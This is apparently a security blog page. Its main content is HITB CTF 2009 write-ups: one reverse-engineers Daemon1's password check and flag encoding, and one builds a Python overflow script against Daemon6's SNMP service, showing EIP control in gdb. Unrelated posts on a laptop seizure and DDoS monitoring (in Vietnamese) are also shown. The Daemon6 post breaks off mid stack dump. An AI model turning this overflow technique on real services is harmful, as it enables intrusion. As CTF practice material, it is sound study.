HITB Daemon1 Solution
Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.
home suto # netstat -tulpan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 6174/daemon1
So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.
.text:080494F1 push eax .text:080494F2 call _recv .text:080494F7 add esp, 10h .text:080494FA cmp eax, 0 .text:080494FD jle loc_80495D2 .text:08049503 push esi .text:08049504 push eax .text:08049505 lea esi, [ebp-538h] .text:0804950B push esi .text:0804950C mov ecx, [ebp-548h] .text:08049512 push ecx .text:08049513 call sub_804A2B0 .text:08049518 mov eax, offset aIcvykbmukcrwdp ; "iCvYkBMuKcrwDPkAqmCFgOKVeV34" .text:0804951D mov ecx, 1Ch .text:08049522 cld .text:08049523 mov esi, [ebp-560h] .text:08049529 mov edi, eax .text:0804952B repe cmpsb .text:0804952D setnbe dl .text:08049530 setb al .text:08049533 add esp, 10h .text:08049536 cmp dl, al .text:08049538 jnz loc_80495FF .text:0804953E call sub_8048F10 .text:08049543 push 0 .text:08049545 sub esp, 8 .text:08049548 push offset s .text:0804954D call _strlen .text:08049552 add esp, 0Ch .text:08049555 push eax .text:08049556 push offset s .text:0804955B .text:0804955B loc_804955B: ; CODE XREF: .text:08049608j .text:0804955B mov edx, [ebp-548h] .text:08049561 push edx .text:08049562 call _send
And here is what sub_8048F10 does:
lea edi, [ebp+var_40] mov esi, offset unk_80553D2 mov ecx, edx rep movsd mov ax, ds:word_80553EA mov [edi], ax push (offset aSocketError+0Bh) ; modes push offset filename ; "/home/d1/errorcode.txt" call _fopen <snip>
The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.
home suto #nc localhost 4444 iCvYkBMuKcrwDPkAqmCFgOKVeV34 ddddddddddPfddddfdssqpfdddddddddhfh
“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).
After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.
Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh
Input: 2
Output: ddddddddddPfdddddfdssqpfhfh
Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh
Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh
==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.
9
ddddddddddPfdddddfdssqpfdddddddhfh
Next, we test with 2 numbers:
24
ddddddddddPfdddddfdssqpfhddhfh
3 numbers:
247
ddddddddddPfdddddfdssqpfhddhdddhfh
We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:
247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?
From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq
Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).
35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh
Why 3? You answer yourself !
Now we come back to special cases for number 1 and 0
358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh
Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh
The different parts are marked with Red color.
Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh
358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh
35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh
So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.
Another test:
4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)
hd(5) hf(1)hs qq(3) hd(4) hffh
Now replace the number 1 with 0 from previous input:
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)
hf(0)hsqq(3) hd(4)hffh
We see 0 is quite similar to 1 with one ‘d’ less.
Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.
And it’s all about daemon1 in HITB CTF 2009!
New Blog.
December 19, 2009 by Xwings · Leave a Comment
This will be my official blog.
More updates …. soon.
What may happen to your laptop when you come to Israel?
December 15, 2009 by RD · 3 Comments
Check out this I’m sorry but we had to blow up your laptop story. Israeli security officers shot through the girl’s laptop with three bullets because she was suspected due to some of ’suspicious’ pictures in her camera and an arabic phrasebook, a journal entry that mentioned a Palestinian, stamps from Syria, Qatar and the UAE, Palestinians in Palestine guidebook, and a map with a main street in Jerusalem, the central bus station and hostel. They didn’t shot through the hard disk though .. lol
When I was in Saudi, I have seen an European guy who stayed in the same hotel with my colleague got arrested by a group of police officers in front of me while he was taking picture of stray cats (nearby a govt. building). The guy later said that they searched through his camera and all of his stuffs, deleted all the pics and questioned him for the whole day. Quite scary.


Giám sát an ninh mạng – hay là làm thế nào để ngăn chặn một cuộc tấn công DDoS trong 20′
December 14, 2009 by thaidn · Leave a Comment
(rút ra từ bài nói chuyện tại BarcampSaigon 2009)
Network Security Monitoring or How to mitigate a DDoS attack in 20′
View more presentations from thaidn.
Để bắt đầu thì tôi xin chia sẻ một câu chuyện. Cách đây không lâu, web site của một khách hàng bị tấn công từ chối dịch vụ DDoS. Vào lúc cao trào của vụ tấn công, có hơn 10.000 IP đến từ khắp nơi trên thế giới liên tục gửi hàng ngàn yêu cầu mỗi giây đến hệ thống của khách hàng này. Hình ảnh (slide số 4) mà quý vị đang thấy trên màn hình gồm có 2 phần nhỏ. Phần ở trên là lưu lượng dữ liệu ra vào hệ thống lúc bình thường, không bị tấn công. Phần ở dưới là lưu lượng dữ liệu ra vào hệ thống của ngay tại thời điểm đang bị tấn công dữ dội.
Như quý vị cũng thấy, chỉ trong vòng 10′, từ lúc 16h10 đến 16h20, lượng dữ liệu ra vào đã tăng đột biến lên gấp gần 10 lần lúc bình thường. Nhưng đồng thời, chỉ trong vòng chưa tới 20′, chúng tôi đã kiểm soát được vụ tấn công này, và đưa toàn bộ hệ thống trở lại tình trạng bình thường. Chúng tôi làm được như vậy tất cả là nhờ vào việc đã áp dụng tốt các công nghệ và nguyên tắc của giám sát an ninh mạng.
Nếu quý vị từng phải xử lý một vụ tấn công DDoS, tôi tin chắc có một câu hỏi mà quý vị đã phải tự hỏi nhiều lần: chuyện gì đang diễn ra vậy? Tại sao hệ thống của tôi đang chạy ngon lành tự dưng lại cứng đơ, khách hàng không sử dụng được nữa?
Bản thân tôi cho rằng đây là câu hỏi tối quan trọng mà bất kỳ ai làm việc trong lĩnh vực an ninh mạng đều phải tự hỏi và phải có câu trả lời xác đáng. Ngay tại thời điểm này đây, ngay khi quý vị đang ngồi ở đây nghe tôi trình bày, quý vị có biết ai đang làm gì ở đâu như thế nào trên hệ thống của quý vị hay không?
Tại sao câu hỏi đó quan trọng? Tại sao quý vị cần phải biết được ai đang làm gì ở đâu như thế nào trên hệ thống của quý vị? Đơn giản vì chúng ta không thể bảo vệ một hệ thống nếu chúng ta không biết được trạng thái của hệ thống đó. Và chúng ta chỉ có thể biết được trạng thái của một hệ thống bằng cách theo dõi nó thường xuyên. Nói cách khác, chúng ta phải biết được tất cả các hoạt động đã và đang diễn ra trên hệ thống.
Thử nhìn vào hoạt động của một khách sạn. Để đảm bảo an ninh, người ta phải đặt camera theo dõi ở khắp nơi. Các camera này chắc hẳn sẽ đưa hình ảnh về một địa điểm tập trung, nơi có các chuyên viên theo dõi 24/7 để kịp thời phát hiện và đối phó với các sự cố an ninh.
Tương tự như thế, muốn đảm bảo an ninh thông tin chúng ta cũng phải tiến hành theo dõi 24/7. Nhưng trong thực tế, theo quan sát của tôi, rất ít tổ chức ở VN có một hệ thống giám sát an ninh như thế. Để bảo vệ hệ thống mạng của mình, các doanh nghiệp và các tổ chức công thường triển khai các thiết bị như tường lửa, phần mềm chống và diệt virus, thiết bị phát hiện xâm nhập, thiết bị ngăn chặn xâm nhập. Rõ ràng họ nghĩ rằng, các thiết bị này đảm bảo an ninh mạng cho họ nên họ mới đầu từ nhiều tiền của để triển khai chúng.
Thật tế hầu hết những người giữ quyền quyết định đầu tư cho an toàn thông tin thường hay hành động theo thị trường. Ví dụ như cách đây vài năm, tường lửa là mốt. Ai cũng đầu tư làm hệ thống tường lửa nên chúng ta cũng phải làm tường lửa. Sau đó, các giải pháp phát hiện xâm nhập lên ngôi. Bây giờ cái gì đang là trào lưu quý vị biết không? ISO 27001.
Lãnh đạo doanh nghiệp thấy các các doanh nghiệp khác triển khai ISO 27001 nên họ cũng muốn doanh nghiệp của họ phải đạt được chuẩn này. Tôi không nói rằng tường lửa, thiết bị phát hiện xâm nhập hay đạt được các chuẩn như ISO 27001 và ITIL là không có tác dụng, nhưng câu hỏi chúng ta cần phải tự hỏi là: tại sao sau khi triển khai quá trời thứ đắt tiền và tốn thời gian như thế, chúng ta vẫn bị xâm nhập, chúng ta vẫn bị tấn công? Liệu ISO 27001 hay tường lửa có giúp bạn khắc phục được một vụ tấn công từ chối dịch vụ trong vòng 20′? Rồi khi đã bị xâm nhập, có thiết bị đắt tiền hay tiêu chuẩn nào giúp quý vị biết được hệ thống của quý vị bị xâm nhập khi nào, tại sao và như thế nào hay không?
Chỉ có con người mới có khả năng làm việc đó. Đây là điều tôi muốn nhấn mạnh, các thiết bị hay các tiêu chuẩn sẽ trở nên vô tác dụng nếu chúng ta không có con người thường xuyên theo dõi, giám sát hệ thống. Nghĩa là, chúng ta cần các chuyên gia giám sát hệ thống có chuyên môn cao.
Tại sao chúng ta cần phải có chuyên gia, tại sao tự bản thân các thiết bị hay các tiêu chuẩn không thể bảo vệ hệ thống mạng? Bởi vì những kẻ tấn công rất thông minh, không thể dự đoán và rất có thể có động lực cao nhất là khi thương mại điện tử phát triển như bây giờ. Máy móc và quy trình không thể ngăn chặn được họ, chắc chắn là như thế. Máy móc chắc chắn sẽ thua khi chiến đấu với não người. Đó là lý do chúng ta cần con người, cần những chuyên gia, để biến an ninh mạng thành một cuộc chiến cân sức hơn giữa người và người, thay vì giữa máy và người.
Câu hỏi đặt ra là các chuyên gia an ninh mạng cần gì để có thể phát hiện và xử lý các sự cố an ninh mạng cũng như xây dựng các kế hoạch phòng thủ? Câu trả lời chỉ có một: tất cả dữ liệu mà chúng ta có thể thu thập được trên hệ thống mạng trong khi sự cố xảy ra!
Quý vị còn nhớ ví dụ của tôi v/v làm sao để bảo vệ an ninh cho một khách sạn? Người quản lý cố gắng thu thập tất cả các dữ liệu, ở đây là hình ảnh và âm thanh, bằng các camera đặt khắp nơi trong khách sạn, và họ cần có các chuyên gia lành nghề để phân tích các hình ảnh này để kịp thời xử lý các sự cố. Họ có hệ thống chống và phát hiện cháy, họ có hệ thống chống trộm, nhưng những máy móc đó chỉ là công cụ, phần việc chính vẫn phải do con người, là các chuyên gia thực hiện.
Tóm lại, để đảm bảo an ninh, chúng ta cần phải theo dõi giám sát hệ thống mạng 24/7, và để làm chuyện đó chúng ta cần có các chuyên gia và các chuyên gia cần dữ liệu để thực hiện công việc của họ. Giám sát an ninh mạng chính là phương thức giúp chúng ta có thể thực hiện việc này một cách tối ưu nhất. Vậy giám sát an ninh mạng là gì?
Thuật ngữ giám sát an ninh mạng được chính thức định nghĩa vào năm 2002 và về cơ bản nó gồm 3 bước: thu thập dữ liệu, phân tích dữ liệu và leo thang thông tin.
Để thu thập dữ liệu, chúng ta sẽ sử dụng các phần mềm hay giải pháp có sẵn trên thị trường để thu thập dữ liệu ghi dấu hoạt động của các máy chủ, thiết bị mạng, phần mềm ứng dụng, cơ sở dữ liệu…Nguyên tắc của thu thập dữ liệu là thu thập càng nhiều càng tốt, với mục tiêu là chúng ta phải có đầy đủ thông tin về trạng thái, log file của tất cả các thành phần trong hệ thống cần phải bảo vệ. Bởi vì có muôn hình vạn trạng các loại tấn công và sự cố ATTT, chúng ta không thể biết trước dữ liệu nào là cần thiết để có thể phát hiện và ngăn chặn loại tấn công nào. Nên kinh nghiệm của tôi là nếu mà luật pháp và công nghệ cho phép, cứ thu thập hết tất cả dữ liệu mà quý vị có thể. Nguyên tắc “thà giết lầm còn hơn bỏ sót” có thể áp dụng ở đây.
Nếu phần mềm có thể giúp chúng ta làm công việc thu thập dữ liệu, thì để phân tích dữ liệu và ra quyết định, như đã nói ở trên, chúng ta cần có chuyên gia, bởi chỉ có chuyên gia mới có thể hiểu rõ ngữ cảnh của dữ liệu mà phần mềm đã thu thập được. Ngữ cảnh là tối quan trọng. Một dữ liệu được thu thập trong ngữ cảnh A có thể sẽ có ý nghĩa rất khác với cùng dữ liệu đó nếu nó thuộc về ngữ cảnh B. Ví dụ như một ngày đẹp trời hệ thống thu thập dữ liệu cảnh báo rằng một số file chương trình trên một máy chủ quan trọng đã bị thay đổi. Nếu như xét ngữ cảnh A là máy chủ đó đang được nâng cấp phần mềm, thì thông tin này không có nhiều ý nghĩa. Nhưng nếu như ở ngoài ngữ cảnh A đó, nói cách khác, không có một yêu cầu thay đổi phần mềm nào đang được áp dụng cho máy chủ đó cả, thì rõ ràng rất có thể máy chủ đó đã bị xâm nhập. Và chỉ có những chuyên gia mới có thể cung cấp được những ngữ cảnh như thế.
Quy trình giúp cho chúng ta leo thang thông tin. Leo thang thông tin là việc các chuyên gia báo cáo lên trên cho những người có quyền quyết định những vấn đề mà họ cho là quan trọng, cần phải điều tra thêm. Những người có quyền quyết định là những người có đủ thẩm quyền, trách nhiệm và năng lực để quyết định cách đối phó với các sự cố ANTT tiềm tàng. Không có leo thang thông tin, công việc của các chuyên gia sẽ trở thành vô ích. Tại sao phải phân tích để phát hiện các sự cố ANTT tiềm tàng nếu như chẳng có ai chịu trách nhiệm cho việc xử lý chúng?
Quay trở lại với câu chuyện vụ tấn công từ chối dịch vụ mà tôi chia sẻ ban đầu. Hệ thống giám sát an ninh mạng của chúng tôi thu thập tất cả dữ liệu liên quan đến hoạt động của các thiết bị như tường lửa, máy chủ proxy, máy chủ web, các ứng dụng web chạy trên các máy chủ web. Dựa vào nguồn dữ liệu phong phú này, các chuyên gia của chúng tôi đã không mất quá nhiều thời gian để phân tích và nhận ra các dấu hiệu bất thường trên hệ thống. Họ leo thang thông tin bằng cách thông báo cho tôi, và tôi quyết định kích hoạt quá trình đối phó với sự cố ANTT, ở đây là đối phó khi bị tấn công từ chối dịch vụ.
Về mặt kỹ thuật, chúng tôi đã cài đặt sẵn các biện pháp kiểm soát tự động trên hệ thống giám sát an ninh mạng, nên các chuyên gia của tôi chỉ phải theo dõi vụ tấn công xem có diễn tiến gì bất thường hay không mà không phải thực hiện thêm bất kỳ thao tác nào. Về mặt hành chính, tôi thông báo cho lãnh đạo doanh nghiệp và các đơn vị như Trung Tâm Chăm Sóc Khách hàng, Trung tâm Vận hành Data Center cũng như mở kênh liên lạc với các ISP để nhờ họ trợ giúp nếu như đường truyền bị quá tải. Như quý vị đã thấy trong một slide ở phía trước, chỉ chưa tới 20′, vừa ngay sau lần kích hoạt hệ thống phòng thủ đầu tiên, vụ tấn công đã được kiểm soát thành công. Hệ thống giám sát an ninh mạng cũng giúp chúng tôi làm các báo cáo để gửi lãnh đạo cũng như gửi các cơ quan điều tra nhờ hỗ trợ truy tìm thủ phạm.
Toàn bộ phương thức giám sát an ninh mạng chỉ đơn giản như thế. Đến đây là chúng ta xong phần 1 của bài trình bày này. Tiếp theo tôi sẽ chia sẻ một số thông tin về hệ thống cũng như công tác giám sát an ninh mạng.
Về mặt kỹ thuật, chúng tôi không mất quá nhiều thời gian cho việc thiết kế hệ thống và lựa chọn giải pháp, bởi vì ngay từ đầu chúng tôi đã xác định đây là một lĩnh vực tương đối mới mẻ, thành ra một giải pháp hoàn chỉnh sẽ không có trên thị trường. Thay vào đó, giống như phát triển phần mềm theo nguyên lý agile, chúng tôi làm vừa làm vừa điều chỉnh.
Chúng tôi khởi đầu bằng việc xây dựng một hệ thống log tập trung. Như đã nói ở trên, đây là công đoạn thu thập dữ liệu. Trong quá trình làm, chúng tôi nhận thấy hầu hết các ứng dụng chạy trên nền UNIX hay các thiết bị mạng đều hỗ trợ sẵn chuẩn syslog, thành ra chúng tôi quyết định chọn phần mềm mã nguồn mở syslog-ng làm công cụ chính để thu thập log.
Tuy nhiên có hai vấn đề: các máy chủ Windows mặc định không hỗ trợ syslog; và một số ứng dụng do chúng tôi tự phát triển hay mua ngoài cũng không hỗ trợ syslog. Đối với vấn đề thứ nhất, chúng tôi cài đặt thêm một phần mềm cho các máy chủ Windows, để đẩy các sự trên trên đó về hệ thống log của chúng tôi. Đối với vấn đề thứ hai, việc đầu tiên chúng tôi làm là xây dựng một quy định về log của các ứng dụng. Trong quy định này chúng tôi yêu cầu tất cả các ứng dụng muốn được cấp quyền chạy trên hệ thống của chúng tôi thì phải thỏa mãn các tiêu chí về log các sự kiện. Chúng tôi cũng hướng dẫn và cung cấp thư viện phần mềm mẫu để các lập trình viên có thể tích hợp vào phần mềm có sẵn của họ.
Syslog-ng là một phần mềm mã nguồn mở tuyệt vời. Nó hoạt động cực kỳ ổn định, bền vững. Trong suốt hơn 3 năm triển khai hệ thống này, chúng tôi chưa bao giờ gặp sự cố ở phần mềm này. Nhưng syslog-ng cũng chỉ làm tốt nhiệm vụ thu thập dữ liệu, làm sao phân tích dữ liệu đó? Trên thị trường lúc bấy giờ có khá nhiều công cụ giúp giải quyết vấn đề này. Chúng tôi lần lượt thử nghiệm các công cụ này, và rồi chúng tôi phát hiện ra Splunk. Chúng tôi hay gọi phần mềm này là “Splunk toàn năng”. Một công cụ phân tích dữ liệu trên cả tuyệt vời!
Splunk rất hay, nhưng nếu không có các chuyên gia có kỹ năng phân tích dữ liệu để khai thác Splunk thì hệ thống cũng sẽ không đem lại nhiều ích lợi. Cái hay của Splunk là ở chỗ nó đã làm cho công việc phân tích log tưởng như nhàm chán trở nên cực kỳ thú vị. Chỉ trong một thời gian ngắn, nhân viên của tôi đã bị Splunk mê hoặc. Cái tên “Splunk toàn năng” cũng là do anh ấy đặt cho Splunk. Thành ra chúng tôi cũng không mất quá nhiều thời gian để huấn luyện, bởi vì tự bản thân giải pháp nó đã đủ thú vị để cuốn hút con người chủ động tìm hiểu nó.
Điều tối quan trọng nhất đối với một hệ thống giám sát an ninh là khả năng phân tích một lượng dữ liệu lớn một cách nhanh chóng. Splunk làm rất tốt việc này. Tuy vậy trên thị trường vẫn có các giải pháp khác hoàn toàn miễn phí như tôi liệt kê ở trên. Bản thân tôi cho rằng Hadoop + Scribe + Hive là một hướng nghiên cứu nhiều tiềm năng.
Với hệ thống này, bây giờ chúng tôi có thể an tâm rằng tôi có thể biết được chuyện gì đang diễn ra trên hệ thống mạng của các khách hàng của chúng tôi ngay tại thời điểm tôi đang viết những dòng này.
Về phía lãnh đạo doanh nghiệp, họ cũng an tâm khi biết rằng, chúng tôi có thể phát hiện, truy vết và đối phó lại với bất kỳ sự cố ANTT nào diễn ra trên hệ thống của họ. Thực tế là từ khi triển khai giải pháp này, chúng tôi giải quyết được 100% các sự cố an toàn thông tin trên hệ thống của các khách hàng của chúng tôi.
Ngoài ra hệ thống này còn giúp chúng tôi phát hiện và xử lý hơn phân nửa các sự cố an toàn thông tin. Có rất nhiều tình huống, nếu không có sự hỗ trợ của hệ thống này, chúng tôi sẽ không thể giải quyết được vấn đề. Lại quay lại với câu chuyện bị tấn công DDoS ở trên.
Nhắc lại, một khách hàng của chúng tôi từng bị tấn công DDoS trên diện rộng vào hệ thống máy chủ Internet Banking. Ở thời điểm cao trào, có hơn 10000 IP gửi hàng ngàn request/s đến máy chủ của họ. Làm thế nào để nhanh chóng lấy ra được danh sách 10000 IP này, ngăn chặn chúng trên hệ thống firewall, mà không chặn nhầm khách hàng? Làm thế nào để có thể tự động hóa quá trình trên, chẳng hạn như cứ mỗi 15′ sẽ lấy ra danh sách các IP đang tấn công, cập nhật bộ lọc của tường lửa?
Với hệ thống này, chúng tôi chỉ cần soạn thảo một đoạn script ngắn để lấy ra danh sách IP đang gửi hơn 100 request/s rồi cài đặt chương trình để tự động cập nhật bộ lọc của firewall mỗi 15′. Một vấn đề tưởng như nan giải có thể giải quyết nhanh gọn lẹ và rất rẻ.
Các giải pháp chống DDoS sẽ có 2 thành phần chính: phát hiện và đánh chặn. Các giải pháp có sẵn trên thị trường như các thiết bị của các hãng lớn hay các giải pháp mở như Iptables + Snort inline thường cố gắng phân tích các packet/request để phân loại chúng theo thời gian thực. Nghĩa là khi có một packet/request đi vào, các giải pháp này sẽ cố gắng xác định xem packet đó có phải là một phần của vụ tấn công hay không, nếu phải thì thực hiện đánh chặn.
Sự khác biệt của giải pháp của chúng tôi so với các giải pháp chống DDoS đang có trên thị trường là chúng tôi không cố gắng phân loại và ngăn chặn các packet/request theo thời gian thực. Thay vào đó, chúng tôi tách phần phát hiện ra khỏi hệ thống phòng thủ, và thực hiện phần phát hiện hoàn toàn offline bằng cách sử dụng thông tin từ hệ thống NSM.
Cụ thể, thông tin từ hệ thống đánh chặn cũng như các nguồn khác như web server, proxy hay firewall sẽ được đưa vào hệ thống phân tích để chạy offline, rồi kết quả phân tích này sẽ được cập nhật ngược trở lại cho hệ thống đánh chặn. Với cách làm này, giải pháp của chúng tôi có thể đáp ứng được lượng tải rất lớn vì chúng tôi không phải tốn quá nhiều resource để phân tích on-the-fly một packet hay request như các giải pháp khác.
Về các hướng phát triển trong thời gian tới, tôi thấy một ứng dụng hay ho khác của hệ thống giám sát an ninh mạng là nó giúp chúng tôi có thể đo lường được mức độ an toàn của hệ thống. Có một nguyên tắc lâu đời của quản lý là: chúng ta không thể quản lý những gì chúng ta không thể đo đạc. Do đó để quản lý được an toàn thông tin, chúng ta phải biến an toàn thông tin thành những thông số có thể đo đạc và so sánh được. Đây là một hướng tiếp cận an toàn thông tin từ góc nhìn của người quản lý mà chúng tôi muốn áp dụng cho các khách hàng trong thời gian sắp tới.
Tài liệu tham khảo:
- Ký sự các vụ DDoS vào HVAOnline
- http://taosecurity.blogspot.com
HITB 2009 CTF Daemon6’s Solution
December 8, 2009 by suto · Leave a Comment
This is the solution for daemon 06 of HITB 2009 CTF game. Note that I didn’t participate CLGT team at HITB 2009 CTF this year. I just played with the binaries after the conference to learn and practice myself.
For a short summary, daemon 06 is a SNMP Daemon listening on port 7272 with a basic buffer overflow bug in the SNMP packet handling function.
[snmpd v2.1] SNMP Daemon Started Attempting to listen on port 7272..Ready
I started learning and reading some papers about SNMP protocol. Basically, SNMP packet follow basic encoding rules. The most fundamental rule states that each field is encoded in three parts: Type, Length, and Data.
- Type specifies the data type of the field using a single byte identifier.
- Length specifies the length in bytes of the following Data section
- Data is the actual value communicated.
Next, I build a packet with a very large content and send to this daemon to check out for trivial overflow bug.
Type: 0×30 because it is a sequence of bytes
Length: 0xff ( to make largest packet as i can )
Data: I use a special string generate by Metasploit.
Here is script:
#!/usr/bin/python from socket import * import struct host = "localhost" port = 7272 shellcode="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A" payload = "\x30\xff"+shellcode sock = socket(AF_INET,SOCK_DGRAM) sock.sendto(payload,(host,port)) sock.close()
After launching this script, I saw daemon6 got segfault.
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7e726c0 (LWP 23375)] 0x62413862 in ?? () (gdb)
So I change this string “b8Ab” in script to AAAA to re-check. And:
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7e726c0 (LWP 23385)] 0x41414141 in ?? ()
Now I can control execution flow of program and now is the time to find out what caused of this vuln. Launch IDA and search for all occurences of Recv

Follow recvfrom function
.text:0804D610 call _recvfrom .text:0804D615 add esp, 20h .text:0804D618 test eax, eax .text:0804D61A js recvfromerror .text:0804D620 .text:0804D620 loc_804D620: ; CODE XREF: .text:0804D870j .text:0804D620 push ecx .text:0804D621 push 0FCh .text:0804D626 push 0 .text:0804D628 push ebx .text:0804D629 call _memset .text:0804D62E pop eax .text:0804D62F pop edx .text:0804D630 push ebx .text:0804D631 lea eax, [ebp-0CB0h] .text:0804D637 push eax .text:0804D638 call sub_804CC90
Now I use GDB to check if function at 0×0804cc90 is vulnerable.
(gdb) b *0x0804D637 Breakpoint 1 at 0x804d637 (gdb) r Starting program: /home/d6/daemon6 (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) [Thread debugging using libthread_db enabled] (no debugging symbols found) [snmpd v2.1] SNMP Daemon Started Attempting to listen on port 7272..Ready [New Thread 0xb7dd26c0 (LWP 13501)] [New Thread 0xb7d63b90 (LWP 13504)] [Switching to Thread 0xb7dd26c0 (LWP 13501)] Breakpoint 1, 0x0804d637 in ?? () (gdb) x/4i $eip 0x804d637 <difftime@plt+17679>: push %eax 0x804d638 <difftime@plt+17680>: call 0x804cc90 <difftime@plt+15208> 0x804d63d <difftime@plt+17685>: add $0x10,%esp 0x804d640 <difftime@plt+17688>: mov 0x805c1b0,%eax (gdb) b *0x804d63d Breakpoint 2 at 0x804d63d (gdb) c Continuing. incorrect request Program received signal SIGSEGV, Segmentation fault. 0x62413862 in ?? ()
Check arguments of this function:
(gdb) x/2x $esp 0xbfb43980: 0xbfb43998 0xbfb44278 (gdb) x/x 0xbfb43998 0xbfb43998: 0x6141ff30 (gdb) x/s 0xbfb43998 0xbfb43998: "0�Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5"... (gdb)
yes, this is my packet payload!
Here is the source of this function using Hexrays:
void *__cdecl sub_804CC90(const char *a1, int a2)
{
int v3; // ST0C_4@6
int v4; // ST10_4@6
int v5; // ST14_4@6
char s; // [sp+1Eh] [bp-1FEh]@1
int v7; // [sp+20Ch] [bp-10h]@1
char v8; // [sp+1E8h] [bp-34h]@1
int v9; // [sp+118h] [bp-104h]@1
int v10; // [sp+208h] [bp-14h]@1
char src; // [sp+198h] [bp-84h]@5
memset(&s, 0, 0xFAu);
if ( sscanf(a1, "%d %s %s %s %d", &v7, &v8, &s, &v9, &v10) != 5 )
{
puts("incorrect request");
return (void *)-1;
}
if ( v7 < 0 || v7 > 1 && v7 != 3 )
{
sub_804CBC0((int)&s, (int)&src);
LABEL_9:
v5 = a2;
v4 = (int)&v9;
v3 = 2;
goto LABEL_10;
}
if ( sub_804CBC0((int)&s, (int)&src) < 0 )
goto LABEL_9;
v5 = a2;
v4 = (int)&v9;
v3 = 0;
LABEL_10:
sub_804CB30(&v8, v7, v10, v3, v4, v5);
return memcpy((void *)(a2 + 44), &src, 0x50u);
}
sscanf seems to be a potential vulnerable. Lets try to break before and after this function to see different on stack :
Before:
(gdb) x/200x $esp 0xbfc352b0: 0xbfc35508 0x0805a300 0xbfc354d8 0xbfc354b4 0xbfc352c0: 0xbfc352ea 0xbfc353e4 0xbfc354d4 0xb7f27e78 0xbfc352d0: 0x00000001 0xb7f70fc4 0xb7f3f1b8 0x7972d654 0xbfc352e0: 0xbfc353b4 0xb7f5d999 0x000053a4 0x00000000 0xbfc352f0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35300: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35310: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35320: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35330: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35340: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35350: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35360: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35370: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35380: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35390: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353a0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353b0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353c0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353d0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353e0: 0x00000000 0xb7f3bff4 